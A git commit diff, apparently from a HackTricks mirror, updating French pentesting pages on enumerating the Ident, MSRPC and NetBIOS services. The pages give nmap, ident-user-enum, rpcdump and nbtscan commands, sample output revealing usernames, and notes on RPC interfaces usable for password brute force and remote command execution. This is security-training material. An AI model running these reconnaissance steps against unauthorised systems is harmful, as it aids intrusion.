mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
This commit is contained in:
parent
dd2bfcb4fc
commit
bcc2f9f663
111 changed files with 1960 additions and 2052 deletions
|
@ -1,34 +1,16 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Gestionnaires de protocole WebView
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
# Gestionnaires de protocoles WebView
|
||||
|
|
|
@ -2,28 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires **les plus avancés**.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Informations de base
|
||||
|
||||
C'est un [protocole](https://en.wikipedia.org/wiki/Protocol\_\(computing\)) [Internet](https://en.wikipedia.org/wiki/Internet) qui aide à identifier l'utilisateur d'une connexion [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) particulière.
|
||||
Le **protocole Ident** est utilisé sur **Internet** pour associer une **connexion TCP** à un utilisateur spécifique. Conçu à l'origine pour aider à la **gestion réseau** et à la **sécurité**, il fonctionne en permettant à un serveur d'interroger un client sur le port 113 pour demander des informations sur l'utilisateur d'une connexion TCP particulière.
|
||||
|
||||
Cependant, en raison des préoccupations modernes en matière de confidentialité et du potentiel de mauvaise utilisation, son utilisation a diminué car elle peut involontairement révéler des informations sur l'utilisateur à des parties non autorisées. Des mesures de sécurité renforcées, telles que des connexions chiffrées et des contrôles d'accès stricts, sont recommandées pour atténuer ces risques.
|
||||
|
||||
**Port par défaut :** 113
|
||||
```
|
||||
|
@ -38,7 +40,7 @@ Si une machine exécute le service ident et samba (445) et que vous êtes connec
|
|||
|
||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||
|
||||
Si vous appuyez simplement sur entrée lorsque vous vous connectez au service :
|
||||
Si vous appuyez simplement sur Entrée lorsque vous vous connectez au service :
|
||||
|
||||
![](<../.gitbook/assets/image (16) (1) (1).png>)
|
||||
|
||||
|
@ -48,7 +50,7 @@ Autres erreurs :
|
|||
|
||||
### Nmap
|
||||
|
||||
Par défaut (-sC), nmap identifiera chaque utilisateur de chaque port en cours d'exécution :
|
||||
Par défaut (`-sC``), nmap identifiera chaque utilisateur de chaque port en cours d'exécution :
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
|
||||
|
@ -65,7 +67,7 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### Ident-user-enum
|
||||
|
||||
Ident-user-enum est un script PERL simple pour interroger le service ident (113/TCP) afin de déterminer le propriétaire du processus écoutant sur chaque port TCP d'un système cible. La liste des noms d'utilisateur recueillis peut être utilisée pour des attaques de devinettes de mot de passe sur d'autres services réseau. Il peut être installé avec `apt install ident-user-enum`.
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) est un script PERL simple pour interroger le service ident (113/TCP) afin de déterminer le propriétaire du processus écoutant sur chaque port TCP d'un système cible. La liste des noms d'utilisateur collectés peut être utilisée pour des attaques de devinettes de mots de passe sur d'autres services réseau. Il peut être installé avec `apt install ident-user-enum`.
|
||||
```
|
||||
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
||||
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
|
@ -85,8 +87,8 @@ identd.conf
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -100,7 +102,7 @@ Entry_1:
|
|||
Name: Notes
|
||||
Description: Notes for Ident
|
||||
Note: |
|
||||
Is an Internet protocol that helps identify the user of a particular TCP connection.
|
||||
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
|
||||
|
||||
|
@ -111,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,28 +8,28 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en sécurité informatique !
|
||||
|
||||
**Perspectives de Piratage**\
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités de Piratage en Temps Réel**\
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !
|
||||
|
||||
## Informations de Base
|
||||
## Informations de base
|
||||
|
||||
Le protocole Microsoft Remote Procedure Call (MSRPC), un modèle client-serveur permettant à un programme de demander un service à un programme situé sur un autre ordinateur sans comprendre les spécificités du réseau, a été initialement dérivé d'un logiciel open source, puis développé et protégé par des droits d'auteur par Microsoft.
|
||||
|
||||
|
@ -39,13 +39,12 @@ Le gestionnaire de points de terminaison RPC peut être accédé via les ports T
|
|||
```
|
||||
## Comment fonctionne MSRPC?
|
||||
|
||||
Initié par l'application cliente, le processus MSRPC implique l'appel d'une procédure locale de stub qui interagit ensuite avec la bibliothèque d'exécution cliente pour préparer et transmettre la demande au serveur. Cela inclut la conversion des paramètres dans un format standard de représentation des données réseau. Le choix du protocole de transport est déterminé par la bibliothèque d'exécution si le serveur est distant, assurant que la RPC est délivrée à travers la pile réseau.
|
||||
Initié par l'application cliente, le processus MSRPC implique l'appel d'une procédure locale de stub qui interagit ensuite avec la bibliothèque d'exécution cliente pour préparer et transmettre la demande au serveur. Cela inclut la conversion des paramètres en un format standard de représentation des données réseau. Le choix du protocole de transport est déterminé par la bibliothèque d'exécution si le serveur est distant, assurant que la RPC est délivrée à travers la pile réseau.
|
||||
|
||||
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
|
||||
|
||||
## **Identification des services RPC exposés**
|
||||
|
||||
|
||||
L'exposition des services RPC à travers TCP, UDP, HTTP et SMB peut être déterminée en interrogeant le service de localisation RPC et les points de terminaison individuels. Des outils tels que rpcdump facilitent l'identification des services RPC uniques, désignés par des valeurs **IFID**, révélant les détails du service et les liaisons de communication:
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] <IP>
|
||||
|
@ -66,43 +65,50 @@ Toutes les options sauf `tcp_dcerpc_auditor` sont spécifiquement conçues pour
|
|||
|
||||
#### Interfaces RPC notables
|
||||
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Description**: Interface LSA, utilisée pour énumérer les utilisateurs.
|
||||
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||
* **Named Pipe**: `\pipe\lsarpc`
|
||||
* **Description**: Interface LSA, utilisée pour énumérer les utilisateurs.
|
||||
|
||||
**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
**Named Pipe**: \pipe\lsarpc
|
||||
**Description**: Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance.
|
||||
|
||||
**IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
**Named Pipe**: \pipe\samr
|
||||
**Description**: Interface LSA SAMR, utilisée pour accéder aux éléments publics de la base de données SAM (par ex., noms d'utilisateur) et pour forcer les mots de passe des utilisateurs indépendamment de la politique de verrouillage des comptes.
|
||||
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
* **Named Pipe**: `\pipe\lsarpc`
|
||||
* **Description**: Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance.
|
||||
|
||||
**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
**Named Pipe**: \pipe\atsvc
|
||||
**Description**: Planificateur de tâches, utilisé pour exécuter des commandes à distance.
|
||||
|
||||
**IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||
**Named Pipe**: \pipe\winreg
|
||||
**Description**: Service de registre distant, utilisé pour accéder et modifier le registre système.
|
||||
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
* **Named Pipe**: `\pipe\samr`
|
||||
* **Description**: Interface LSA SAMR, utilisée pour accéder aux éléments publics de la base de données SAM (par ex., noms d'utilisateur) et forcer les mots de passe des utilisateurs indépendamment de la politique de verrouillage du compte.
|
||||
|
||||
**IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
**Named Pipe**: \pipe\svcctl
|
||||
**Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter à distance des services et exécuter des commandes.
|
||||
|
||||
**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
**Named Pipe**: \pipe\srvsvc
|
||||
**Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter à distance des services et exécuter des commandes.
|
||||
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
* **Named Pipe**: `\pipe\atsvc`
|
||||
* **Description**: Planificateur de tâches, utilisé pour exécuter des commandes à distance.
|
||||
|
||||
**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
**Named Pipe**: \pipe\epmapper
|
||||
**Description**: Interface DCOM, utilisée pour forcer le broyage de mots de passe et la collecte d'informations via WM.
|
||||
|
||||
* **IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||
* **Named Pipe**: `\pipe\winreg`
|
||||
* **Description**: Service de registre distant, utilisé pour accéder et modifier le registre système.
|
||||
|
||||
|
||||
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
* **Named Pipe**: `\pipe\svcctl`
|
||||
* **Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter des services à distance et exécuter des commandes.
|
||||
|
||||
|
||||
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
* **Named Pipe**: `\pipe\srvsvc`
|
||||
* **Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter des services à distance et exécuter des commandes.
|
||||
|
||||
|
||||
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
* **Named Pipe**: `\pipe\epmapper`
|
||||
* **Description**: Interface DCOM, utilisée pour forcer le hachage de mots de passe et recueillir des informations via WM.
|
||||
|
||||
### Identification des adresses IP
|
||||
|
||||
En utilisant [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), provenant de la recherche d'Airbus, il est possible d'abuser de la méthode _**ServerAlive2**_ à l'intérieur de l'interface _**IOXIDResolver**_.
|
||||
|
||||
Cette méthode a été utilisée pour obtenir des informations d'interface en tant qu'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour l'analyse APT de 0xdf, qui inclut une méthode alternative utilisant rpcmap.py d'[Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus).
|
||||
Cette méthode a été utilisée pour obtenir des informations d'interface en tant qu'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour l'analyse APT de 0xdf, elle inclut une méthode alternative utilisant rpcmap.py d'[Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus).
|
||||
|
||||
## Port 593
|
||||
|
||||
|
@ -115,10 +121,10 @@ Le **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/97805965
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs!
|
||||
|
||||
**Perspectives sur le piratage**\
|
||||
Engagez-vous avec du contenu qui explore l'excitation et les défis du piratage
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités sur le piratage en temps réel**\
|
||||
Restez informé du monde du piratage à travers des actualités et des informations en temps réel
|
||||
|
@ -134,10 +140,10 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,19 +1,37 @@
|
|||
# 137,138,139 - Test d'intrusion NetBios
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Service de noms NetBios
|
||||
|
||||
* Service de noms pour l'enregistrement et la résolution de noms (ports : 137/udp et 137/tcp).
|
||||
Le **Service de noms NetBIOS** joue un rôle crucial, impliquant divers services tels que l'**enregistrement et la résolution de noms**, la **distribution de datagrammes** et les **services de session**, utilisant des ports spécifiques pour chaque service.
|
||||
|
||||
[De Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP) :
|
||||
|
||||
* Service de nom pour l'enregistrement et la résolution de noms (ports : 137/udp et 137/tcp).
|
||||
* Service de distribution de datagrammes pour la communication sans connexion (port : 138/udp).
|
||||
* Service de session pour la communication orientée connexion (port : 139/tcp).
|
||||
|
||||
### Service de noms
|
||||
|
||||
Chaque machine doit avoir un nom à l'intérieur du réseau NetBios. Pour demander un nom, une machine doit envoyer un paquet "Requête de nom" en diffusion et si quelqu'un répond qu'il utilise déjà ce nom, la machine peut utiliser ce nom. S'il y a un serveur de service de noms, l'ordinateur peut demander au serveur de service de noms si quelqu'un utilise le nom qu'il veut utiliser.
|
||||
|
||||
Pour découvrir l'adresse IP d'un nom, un PC doit envoyer un paquet "Requête de nom" et attendre si quelqu'un répond. S'il y a un serveur de service de noms, le PC peut lui demander l'adresse IP du nom.
|
||||
Pour qu'un appareil participe à un réseau NetBIOS, il doit avoir un nom unique. Cela est réalisé grâce à un **processus de diffusion** où un paquet "Requête de nom" est envoyé. Si aucune objection n'est reçue, le nom est considéré comme disponible. Alternativement, un **serveur de service de noms** peut être interrogé directement pour vérifier la disponibilité d'un nom ou pour résoudre un nom en une adresse IP. Des outils comme `nmblookup`, `nbtscan` et `nmap` sont utilisés pour énumérer les services NetBIOS, révélant les noms des serveurs et les adresses MAC.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
En énumérant un service NetBIOS, vous pouvez obtenir les noms que le serveur utilise et l'adresse MAC du serveur.
|
||||
Enumerating a NetBIOS service you can obtain the names the server is using and the MAC address of the server.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
|
@ -21,22 +39,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
|||
```
|
||||
### Service de distribution de datagrammes
|
||||
|
||||
Les datagrammes NetBIOS sont envoyés via UDP. Un datagramme est envoyé avec un paquet "Direct Unique" ou "Direct Group" s'il est envoyé à un nom NetBIOS particulier, ou un paquet "Broadcast" s'il est envoyé à tous les noms NetBIOS sur le réseau.
|
||||
Les datagrammes NetBIOS permettent une communication sans connexion via UDP, prenant en charge la messagerie directe ou la diffusion à tous les noms de réseau. Ce service utilise le port **138/udp**.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Service de session
|
||||
|
||||
Le mode de session permet à deux ordinateurs d'établir une connexion pour une "conversation", permet de gérer des messages plus volumineux et fournit une détection et une récupération d'erreurs.
|
||||
Pour des interactions orientées connexion, le **Service de session** facilite une conversation entre deux appareils, en utilisant des connexions **TCP** via le port **139/tcp**. Une session débute avec un paquet "Demande de session" et peut être établie en fonction de la réponse. Le service prend en charge des messages plus volumineux, la détection d'erreurs et la récupération, avec le TCP gérant le contrôle de flux et la retransmission de paquets.
|
||||
|
||||
